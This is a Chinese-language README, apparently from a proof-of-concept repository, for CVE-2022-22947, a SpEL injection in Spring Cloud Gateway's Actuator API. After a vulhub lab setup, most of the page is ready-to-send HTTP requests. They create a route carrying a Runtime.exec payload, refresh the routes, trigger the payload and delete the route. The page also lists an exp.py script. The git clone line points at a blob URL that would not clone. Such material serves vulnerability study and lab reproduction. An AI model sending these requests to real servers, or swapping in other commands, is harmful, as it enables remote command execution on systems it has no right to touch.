来源

关联漏洞

介绍

# CVE-2022-22947

> `Spring Cloud Gateway`是`Spring中`的一个`API`网关。其`3.1.0`及`3.0.6`版本（包含）以前存在一处`SpEL`表达式注入漏洞，当攻击者可以访问`Actuator API`的情况下，将可以利用该漏洞执行任意命令。

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# 漏洞环境

```
git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml
docker-compose up -d
```



# 漏洞利用

向`routes`接口中发送如下数据包：

```shell
POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329

{
  "id": "greetdawn",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}
```

![image-20220303145822027](https://gitee.com/greetdawn/blogImages/raw/master/img/202203031458091.png)

看到以上数据包说明新增路由创建成功。

再次发送如下数据包，应用刚才添加的路由，触发`SpEL`表达式执行:

```
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329


```

![image-20220303150111513](https://gitee.com/greetdawn/blogImages/raw/master/img/202203031501558.png)

请求刚才创建的路由，触发恶意代码

```
GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0


```

![image-20220303150238309](https://gitee.com/greetdawn/blogImages/raw/master/img/202203031502353.png)

**注：删除如下路由**

```
DELETE /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0


```

![image-20220303150340287](https://gitee.com/greetdawn/blogImages/raw/master/img/202203031503333.png)

文件快照

 [4.0K]  /data/pocs/38958e753f8752c3e3e1321b4e0cb6d3bfcebc8d
├── [2.1K]  exp.py
└── [2.7K]  README.md

0 directories, 2 files

备注